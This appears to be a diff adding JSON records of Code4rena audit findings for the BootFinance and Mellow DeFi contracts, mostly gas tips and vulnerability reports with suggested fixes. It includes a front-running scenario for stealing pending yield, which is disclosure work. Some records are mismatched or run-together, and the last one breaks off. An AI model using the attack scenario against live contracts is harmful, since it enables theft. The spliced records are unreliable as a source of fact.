"https://github.com/code-423n4/2021-11-bootfinance-findings/issues/31", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Lines of code https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/Comptroller.sol#L1380 https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/Accountant/AccountantDelegate.sol#L87 https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/Accountant/AccountantDelegate.sol#L89 https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/Treasury/TreasuryDelegate.sol#L52 https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/Treasury/TreasuryDelegate.sol#L56 https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/CErc20.sol#L128 https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/CEther.sol#L150 https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/Treasury/TreasuryDelegate.sol#L52 https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/Treasury/TreasuryDelegate.sol#L56 # Vulnerability details ## Impact Multiple calls to transfer are frequently done without checking the results. For certain ERC20 tokens, if insufficient tokens are present, no revert occurs but a result of \u201cfalse\u201d is returned. It\u2019s important to check this, users or admin could gain or lose tokens if return value of transfer() is not checked. The following functions are affected: Comptroller.grantCompInternal() - https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/Comptroller.sol#L1380 AccountantDelegate.sweepInterest() - https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/Accountant/AccountantDelegate.sol#L87 AccountantDelegate.sweepInterest() - https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/Accountant/AccountantDelegate.sol#L89 TreasuryDelegate.sendFund() - https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/Treasury/TreasuryDelegate.sol#L52 TreasuryDelegate.sendFund() - https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/Treasury/TreasuryDelegate.sol#L56 CErc20.sweepToken() - https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/CErc20.sol#L128 CEther.doTransferOut() - https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/CEther.sol#L150 TreasuryDelegate.sendFund() - https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/Treasury/TreasuryDelegate.sol#L52 TreasuryDelegate.sendFund() - https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/Treasury/TreasuryDelegate.sol#L56 ## Tools Used Slither and manual review ## Recommended Mitigation Steps Check the returned values of transfers or use a SafeERC20 transfer. "}, {"title": "Upgrade pragma to at least 0.8.4", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/29", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "Upgrade pragma to at least 0.8.4"}, {"title": "getEmissionShare Can Be Rewritten To Be More Efficient (PublicSale.sol)", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/28", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle ye0lde # Vulnerability details ## Impact getEmissionShare Can Be Rewritten To Be More Efficient (PublicSale.sol) The \"else\" and returning 0, can be eliminated. The existing but unused named return variable \"value\" can be used instead of a return statement. These changes reduce gas and improve code clarity. ## Proof of Concept The getEmissionShare function is here: https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/tge/contracts/PublicSale.sol#L231-L245 ## Tools Used Visual Studio Code, Remix ## Recommended Mitigation Steps I recommend rewriting it as follows: function getEmissionShare(uint era, uint day, address member) public view returns (uint value) { uint memberUnits = mapEraDay_MemberUnits[era][day][member]; // Get Member Units if (memberUnits != 0) { uint totalUnits = mapEraDay_UnitsRemaining[era][day]; // Get Total Units uint emissionRemaining = mapEraDay_EmissionRemaining[era][day]; // Get emission remaining for Day uint balance = mainToken.balanceOf(address(this)); if (emissionRemaining > balance) { emissionRemaining = balance; // In case less than required emission } value = (emissionRemaining * memberUnits) / totalUnits; // Calculate share } } "}, {"title": "_processWithdrawal Can Be Rewritten To Be More Efficient (PublicSale.sol)", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/27", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle ye0lde # Vulnerability details ## Impact _processWithdrawal Can Be Rewritten To Be More Efficient (PublicSale.sol) The \"else\", the setting of \"value to 0\", and the return statement can be eliminated to reduce gas and improve code clarity. ## Proof of Concept The _processWithdrawal function is here: https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/tge/contracts/PublicSale.sol#L212-L229 ## Tools Used Visual Studio Code, Remix ## Recommended Mitigation Steps I recommend rewriting it as follows: function _processWithdrawal (uint _era, uint _day, address _member) private returns (uint value) { uint memberUnits = mapEraDay_MemberUnits[_era][_day][_member]; // Get Member Units if (memberUnits != 0) { value = getEmissionShare(_era, _day, _member); // Get the emission Share for Member mapEraDay_MemberUnits[_era][_day][_member] = 0; // Set to 0 since it will be withdrawn mapEraDay_UnitsRemaining[_era][_day] = mapEraDay_UnitsRemaining[_era][_day].sub(memberUnits); // Decrement Member Units mapEraDay_EmissionRemaining[_era][_day] = mapEraDay_EmissionRemaining[_era][_day].sub(value); // Decrement emission totalEmitted += value; // Add to Total Emitted uint256 v_value = value * 3 / 10; // Transfer 30%, lock the rest in vesting contract mainToken.transfer(_member, v_value); // ERC20 transfer function vestLock.vest(_member, value - v_value, 0); emit Withdrawal(msg.sender, _member, _era, _day, value, mapEraDay_EmissionRemaining[_era][_day]); } } "}, {"title": "_withdrawShare Can Be Rewritten To Be More Efficient (PublicSale.sol)", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/26", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle ye0lde # Vulnerability details ## Impact The \"else if\", the second call to _processWithdrawal, and the return statement can be eliminated to reduce gas and improve code clarity. ## Proof of Concept The _withdrawShare function is here: https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/tge/contracts/PublicSale.sol#L201-L210 ## Tools Used Visual Studio Code ## Recommended Mitigation Steps I recommend rewriting it as follows: function _withdrawShare (uint _era, uint _day, address _member) private returns (uint value) { _updateEmission(); if (_era < currentEra || // Allow if in previous Era (_era == currentEra && _day < currentDay)) { // or current Era and previous day value = _processWithdrawal(_era, _day, _member); // Process Withdrawal } } "}, {"title": "Unused Named Returns (PublicSale.sol)", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/25", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle ye0lde # Vulnerability details ## Impact Removing unused named return variables can reduce gas usage and improve code clarity. ## Proof of Concept https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/tge/contracts/PublicSale.sol#L187 https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/tge/contracts/PublicSale.sol#L194 https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/tge/contracts/PublicSale.sol#L231 ## Tools Used Visual Studio Code, Remix ## Recommended Mitigation Steps Remove the unused named returns "}, {"title": "Long Revert Strings", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/23", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "Long Revert Strings"}, {"title": "Unnecessary \"else if\" in function vest (Vesting.sol)", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/22", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle ye0lde # Vulnerability details ## Impact The \"else if(_isRevocable == 1)\" is not needed and can be removed to save gas and improve code clarity. ## Proof of Concept The \"_isRevocable\" variable is guaranteed to be 0 or 1 here: https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/vesting/contracts/Vesting.sol#L77 But it is treated like it can have some other value here: https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/vesting/contracts/Vesting.sol#L83-L88 ## Tools Used Visual Studio Code, Remix ## Recommended Mitigation Steps Rewrite these lines https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/vesting/contracts/Vesting.sol#L83-L88 to benRevocable[_beneficiary] = (_isRevocable == 0) ? [false,false] : [true,false]; "}, {"title": "internal functions could be set private", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/18", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pants # Vulnerability details Since no contract inherent from SwapUtils all internal functions could be set private. For example getD could be set private to save gas. "}, {"title": "optimizing for loops by caching array length", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/14", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pants # Vulnerability details optimizing for loops by caching memory array length, instead of calling it every time. For example at Swap.sol at time 158 you should have uint8 len = _pooledTokens.length and in the next line define the forloop with stop condition of i0.8.0 therefore you don't need to use safeMath for uint256 "}, {"title": "Numerous gas optimizations in SwapUtils.sol", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/6", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle tqts # Vulnerability details ## Impact Several references to storage can be cached to save significant amounts of gas. ## Proof of Concept File lines are stated in Mitigation Steps. ## Tools Used Manual review ## Recommended Mitigation Steps #### In function calculateWithdrawOneTokenDY (L406) ``` uint256 _pooledTokensLength = self.pooledTokens.length; ``` The value is used twice, so one SLOAD is saved. #### In function _calculateRemoveLiquidity (L953) ``` uint256 _pooledTokensLength = self.pooledTokens.length; ``` The value is used twice, one of those as condition in a for loop, so at least _pooledTokensLength SLOADS are saved. #### In function _feePerToken (L1080) ``` uint256 _pooledTokensLength = self.pooledTokens.length; ``` The value is used twice, so one SLOAD is saved. #### In function swap (L1098) ``` IERC20 tokenFrom = self.pooledTokens[tokenIndexFrom]; ``` The value is used 4 times, so 3 SLOADs are saved. However, this causes a stack too deep error in line 1129. To mitigate this, replace lines 1129-1132 for: ``` uint256 dyAdminFee = dyFee.mul(self.adminFee).div(FEE_DENOMINATOR); dyAdminFee = dyAdminFee.div(self.tokenPrecisionMultipliers[tokenIndexTo]); ``` #### In function addLiquidity (L1163) ``` uint256 _pooledTokensLength = self.pooledTokens.length; uint256 _lpTokenTotalSupply = self.lpToken.totalSupply(); ``` _pooledTokensLength is used 4 times. 3 SLOADs saved. _lpTokenTotalSupply is used 6 times, however the one in line 1266 is called after a mint() so it's not the same value and thus can't be replaced. 4 SLOADs saved. #### In function _updateUserWithdrawFee (L1290) ``` uint256 _withdrawFee = self.defaultWithdrawFee; ``` The value is used 3 times, so 2 SLOADs are saved. #### In function removeLiquidityImbalance (L1415) ``` uint256 _pooledTokensLength = self.pooledTokens.length; ``` The value is used 5 times, twice as a for condition, so at least 2 + _pooledTokensLength SLOADs are saved. "}, {"title": "No need to initialize variables with default values", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/5", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle jah # Vulnerability details ## Impact If a variable is not set/initialized, it is assumed to have the default value (0, false, 0x0 etc depending on the data type). If you explicitly initialize it with its default value, you are just wasting gas. ## Proof of Concept https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/core-contracts/contracts/sol/BTCPoolDelegator.sol#L77 https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/core-contracts/contracts/sol/ETHPoolDelegator.sol#L77 https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/core-contracts/contracts/sol/USDPoolDelegator.sol#L66 https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6 ## Tools Used Manual analysis ## Recommended Mitigation Steps "}, {"title": "Redundant check", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/2", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle tqts # Vulnerability details ## Impact According to the comment in line 148 of Swap.sol, the function checks for _pooledTokens and precisions parameters, however, the require at line 151 is redundant, as it will pass if both previous checks passed. ## Proof of Concept https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/customswap/contracts/Swap.sol#L151 ## Tools Used ## Recommended Mitigation Steps Remove the require, or change it to validate the correct precision parameters. "}, {"title": "No usage of immutable keyword leaves free gas savings on the table", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/1", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle TomFrench # Vulnerability details ## Impact Increased gas costs + risk of accidental changes to values expected to be fixed. ## Proof of Concept Several contracts contain variables which are set at deploy time and never changed again. For example see `PublicSale.sol` https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/tge/contracts/PublicSale.sol#L70-L81 Since solidity 0.6.5, variables can be marked `immutable` which avoids the need for SLOADs when reading these variables - decreasing gas costs and protecting against accidentally modifying these variables. https://blog.soliditylang.org/2020/05/13/immutable-keyword/#:~:text=With%20version%200.6.,time%20of%20a%20deployed%20contract. ## Tools Used Manual inspection ## Recommended Mitigation Steps Inspect all contracts for variables which are set once and then never modified, apply `immutable` keyword and adjust constructors to not read these values (instead use passed parameters) "}, {"title": "Migrate from NonFungiblePositionManager to UniV3Pool directly", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/133", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-mellow-findings", "body": "Migrate from NonFungiblePositionManager to UniV3Pool directly"}, {"title": "Make deposit efficient ", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/132", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-mellow-findings", "body": "Make deposit efficient "}, {"title": "What you guys mean by this line ? Its redundant imo", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/130", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2021-12-mellow-findings", "body": "# Handle 0x421f # Vulnerability details This one https://github.com/code-423n4/2021-12-mellow/blob/6679e2dd118b33481ee81ad013ece4ea723327b5/mellow-vaults/contracts/YearnVault.sol#L99 Its maybe gap in my knowledge, but I have never seen this pattern What it does ? "}, {"title": "No need of separate indexing (NFT_ID => Vault Address)", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/129", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-mellow-findings", "body": "# Handle 0x421f # Vulnerability details If we see vault registry https://github.com/code-423n4/2021-12-mellow/blob/6679e2dd118b33481ee81ad013ece4ea723327b5/mellow-vaults/contracts/VaultRegistry.sol#L18 There are two mappings on L18 and L19 On 18 its map(address) => nftID, which is fine but one on 19. we can remove, Nft IDs are incremental, and are stored in same position in _vaults[] array so it can be accessed like for id of x => _vaults[x-1] with this we dont need to maintain it whenever new vault is deployed, again saving gas cost :) "}, {"title": "Skip initialization of factory address in vault governance by predicting it before hand", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/127", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-mellow-findings", "body": "Skip initialization of factory address in vault governance by predicting it before hand"}, {"title": "Save Gas With The Unchecked Keyword", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/123", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-mellow-findings", "body": "Save Gas With The Unchecked Keyword"}, {"title": " Constant variables can be immutable (DefaultAccessControl.sol)", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/122", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-mellow-findings", "body": "# Handle ye0lde # Vulnerability details ## Impact Changing the variables from constant to immutable will reduce keccak operations and save gas. ## Proof of Concept The variables that can be changed from `constant` to `immutable` are here: https://github.com/code-423n4/2021-12-mellow/blob/6679e2dd118b33481ee81ad013ece4ea723327b5/mellow-vaults/contracts/DefaultAccessControl.sol#L11-L12 A previous finding with additional explanation and a pointer to the Ethereum/solidity issue is here: https://github.com/code-423n4/2021-10-slingshot-findings/issues/3 ## Tools Used Visual Studio Code, Remix ## Recommended Mitigation Steps Change the constant variables to immutable. "}, {"title": "`YearnVault.sol#pull()` will most certainly fail", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/121", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2021-12-mellow-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-12-mellow/blob/6679e2dd118b33481ee81ad013ece4ea723327b5/mellow-vaults/test_brownie/contracts/YearnVault.sol#L84-L101 ```solidity=84 for (uint256 i = 0; i < _yTokens.length; i++) { if (tokenAmounts[i] == 0) { continue; } IYearnVault yToken = IYearnVault(_yTokens[i]); uint256 yTokenAmount = ((tokenAmounts[i] * (10**yToken.decimals())) / yToken.pricePerShare()); uint256 balance = yToken.balanceOf(address(this)); if (yTokenAmount > balance) { yTokenAmount = balance; } if (yTokenAmount == 0) { continue; } yToken.withdraw(yTokenAmount, to, maxLoss); (tokenAmounts[i], address(this)); } actualTokenAmounts = tokenAmounts; ``` The actual token withdrew from `yToken.withdraw()` will most certainly be less than the `tokenAmounts[i]`, due to precision loss in the calculation of `yTokenAmount`. As a result, `IERC20(_vaultTokens[i]).safeTransfer(to, actualTokenAmounts[i]);` in `LpIssuer.sol#withdraw()` will revert due to insufficant balance. ### Recommendation Change to: ```solidity=98 tokenAmounts[i] = yToken.withdraw(yTokenAmount, to, maxLoss); ``` "}, {"title": "`AaveVault.sol#_pull()` may return wrong `actualTokenAmounts`", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/119", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2021-12-mellow-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-12-mellow/blob/6679e2dd118b33481ee81ad013ece4ea723327b5/mellow-vaults/test_brownie/contracts/AaveVault.sol#L80-L94 ```solidity=80 function _pull( address to, uint256[] memory tokenAmounts, bytes memory ) internal override returns (uint256[] memory actualTokenAmounts) { address[] memory tokens = _vaultTokens; for (uint256 i = 0; i < _aTokens.length; i++) { if ((_tvls[i] == 0) || (tokenAmounts[i] == 0)) { continue; } _lendingPool().withdraw(tokens[i], tokenAmounts[i], to); } updateTvls(); actualTokenAmounts = tokenAmounts; } ``` In Aave LendingPool, the actual amount withdrawn may be different from the requested amount, we suggest using the return amount as `actualTokenAmount`. https://github.com/aave/protocol-v2/blob/master/contracts/protocol/lendingpool/LendingPool.sol#L155-L157 ```solidity if (amount == type(uint256).max) { amountToWithdraw = userBalance; } ``` ### Recommendation Change to: ```solidity function _pull( address to, uint256[] memory tokenAmounts, bytes memory ) internal override returns (uint256[] memory actualTokenAmounts) { address[] memory tokens = _vaultTokens; for (uint256 i = 0; i < _aTokens.length; i++) { if ((_tvls[i] == 0) || (tokenAmounts[i] == 0)) { continue; } tokenAmounts[i] = _lendingPool().withdraw(tokens[i], tokenAmounts[i], to); } updateTvls(); actualTokenAmounts = tokenAmounts; } ``` "}, {"title": "pre-calculate expressions that do not change", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/118", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-mellow-findings", "body": "pre-calculate expressions that do not change"}, {"title": "adminApprove will not work", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/117", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2021-12-mellow-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function adminApprove intends to allow an admin to approve NFTs on behalf of users: ```solidity function adminApprove(address newAddress, uint256 nft) external { require(_isProtocolAdmin(_msgSender()), ExceptionsLibrary.ADMIN); IERC721(address(this)).approve(newAddress, nft); } ``` However, when it calls .approve, it will check the ownership again, so only the calls from admin and owner/approved will pass: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/ERC721.sol#L116-L119 This makes this function ineffective. ## Recommended Mitigation Steps Based on my understanding, it should call ._approve(...). "}, {"title": " The Contract Should Approve(0) first", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/115", "labels": ["bug", "1 (Low Risk)"], "target": "2021-12-mellow-findings", "body": " The Contract Should Approve(0) first"}, {"title": "`UniV3Vault` does not distribute fee earning to depositor", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/111", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-12-mellow-findings", "body": "`UniV3Vault` does not distribute fee earning to depositor"}] \ No newline at end of file diff --git a/results/codearena_findings_8.json b/results/codearena_findings_8.json new file mode 100644 index 0000000..2cbe489 --- /dev/null +++ b/results/codearena_findings_8.json @@ -0,0 +1 @@ +[{"title": "`ChiefTrader.sol` Wrong implementation of `swapExactInput()` and `swapExactOutput()`", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/108", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-12-mellow-findings", "body": "# Handle WatchPug # Vulnerability details When a caller calls `ChiefTrader.sol#swapExactInput()`, it will call `ITrader(traderAddress).swapExactInput()`. https://github.com/code-423n4/2021-12-mellow/blob/6679e2dd118b33481ee81ad013ece4ea723327b5/mellow-vaults/contracts/trader/ChiefTrader.sol#L59-L59 ```solidity=59 return ITrader(traderAddress).swapExactInput(0, amount, recipient, path, options); ``` However, in the current implementation, inputToken is not approved to the `traderAddress`. For example, in `UniV3Trader.sol#_swapExactInputSingle`, at L89, it tries to transfer inputToken from `msg.sender` (which is `ChiefTrader`), since it's not approved, this will revert. Plus, the inputToken should also be transferred from the caller before calling the subtrader. https://github.com/code-423n4/2021-12-mellow/blob/6679e2dd118b33481ee81ad013ece4ea723327b5/mellow-vaults/contracts/trader/UniV3Trader.sol#L89-L89 ```solidity=89 IERC20(input).safeTransferFrom(msg.sender, address(this), amount); ``` The same problem exits in `swapExactOutput()`: https://github.com/code-423n4/2021-12-mellow/blob/6679e2dd118b33481ee81ad013ece4ea723327b5/mellow-vaults/contracts/trader/ChiefTrader.sol#L63-L75 ```solidity=63 function swapExactOutput( uint256 traderId, uint256 amount, address, PathItem[] calldata path, bytes calldata options ) external returns (uint256) { require(traderId < _traders.length, TraderExceptionsLibrary.TRADER_NOT_FOUND_EXCEPTION); _requireAllowedTokens(path); address traderAddress = _traders[traderId]; address recipient = msg.sender; return ITrader(traderAddress).swapExactOutput(0, amount, recipient, path, options); } ``` ### Recommendation Approve the inputToken to the subtrader and transfer from the caller before calling `ITrader.swapExactInput()` and `ITrader.swapExactOutput()`. Or maybe just remove support of `swapExactInput()` and `swapExactOutput()` in `ChiefTrader`. "}, {"title": "These functions can be made modifier", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/106", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-12-mellow-findings", "body": "These functions can be made modifier"}, {"title": "Guard for initialization function of VaultGovernance", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/105", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2021-12-mellow-findings", "body": "# Handle cuong_qnom # Vulnerability details ### Impact There should be a guard to initialize the factory in the VaultGovernance. Otherwise, some guys (e.g. miners) can front-run the initialization transaction with fake Factory address. ### Proof of Concept https://github.com/code-423n4/2021-12-mellow/blob/6679e2dd118b33481ee81ad013ece4ea723327b5/mellow-vaults/contracts/VaultGovernance.sol#L77 ### Tools used Manual Analysis ### Recommendation steps Maybe can put some requirements at the start: _requireProtocolAdmin() "}, {"title": "Use literal `2` instead of read from storage for `_vaultTokens.length` can save gas", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/104", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-mellow-findings", "body": "# Handle WatchPug # Vulnerability details The current design requires the number of `_vaultTokens` to be 2 in `UniV3Vault`, therefore `_vaultTokens.length` can be replaced with literal `2` to save ~800 gas from storage read (`SLOAD` after Berlin). Instances include: https://github.com/code-423n4/2021-12-mellow/blob/6679e2dd118b33481ee81ad013ece4ea723327b5/mellow-vaults/contracts/UniV3Vault.sol#L101-L101 ```solidity=101 tokenAmounts = new uint256[](_vaultTokens.length); ``` "}, {"title": "Declaring unnecessary immutable variables as constant can save gas", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/103", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-mellow-findings", "body": "Declaring unnecessary immutable variables as constant can save gas"}, {"title": "Adding unchecked directive can save gas", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/102", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-mellow-findings", "body": "Adding unchecked directive can save gas"}, {"title": "Unnecessary checked arithmetic in for loops", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/101", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-mellow-findings", "body": "Unnecessary checked arithmetic in for loops"}, {"title": "Outdated compiler version", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/100", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-12-mellow-findings", "body": "Outdated compiler version"}, {"title": "`UniV3Vault.sol#collectEarnings()` can be front run", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/98", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2021-12-mellow-findings", "body": "# Handle WatchPug # Vulnerability details For `UniV3Vault`, it seems that lp fees are collected through `collectEarnings()` callable by the `strategy` and reinvested (rebalanced). However, in the current implementation, unharvested yields are not included in `tvl()`, making it vulnerable to front-run attacks that steal pending yields. https://github.com/code-423n4/2021-12-mellow/blob/6679e2dd118b33481ee81ad013ece4ea723327b5/mellow-vaults/contracts/UniV3Vault.sol#L100-L122 https://github.com/code-423n4/2021-12-mellow/blob/6679e2dd118b33481ee81ad013ece4ea723327b5/mellow-vaults/contracts/UniV3Vault.sol#L80-L97 ### POC Given: - Current `tvl()` is `10 ETH` and `40,000 USDC`; - Current unclaimed yields (trading fees) is `1 ETH` and `4,000 USDC`; 1. `strategy` calls `collectEarnings()` to collect fees and reinvest; 2. The attacker sends a deposit tx with a higher gas price to deposit `10 ETH` and `40,000 USDC`, take 50% share of the pool; 3. After the transaction in step 1 is packed, the attacker calls `withdraw()` and retrieves `10.5 ETH` and `42,000 USDC`. As a result, the attacker has stolen half of the pending yields in about 1 block of time. ### Recommendation Consider including fees in `tvl()`. For the code to calculate fees earned, please reference `_computeFeesEarned()` in G-UNI project: https://github.com/gelatodigital/g-uni-v1-core/blob/master/contracts/GUniPool.sol#L762-L806 "}, {"title": "Cache storage variables in the stack can save gas", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/96", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-mellow-findings", "body": "Cache storage variables in the stack can save gas"}, {"title": "Remove unnecessary function can make the code simpler and save some gas", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/95", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-mellow-findings", "body": "Remove unnecessary function can make the code simpler and save some gas"}, {"title": "Remove unnecessary variables can make the code simpler and save some gas", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/93", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-mellow-findings", "body": "Remove unnecessary variables can make the code simpler and save some gas"}, {"title": "Use immutable variables can save gas", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/92", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-mellow-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-12-perennial/blob/fd7c38823833a51ae0c6ae3856a3d93a7309c0e4/protocol/contracts/oracle/ChainlinkOracle.sol#L20-L20 ```solidity=20 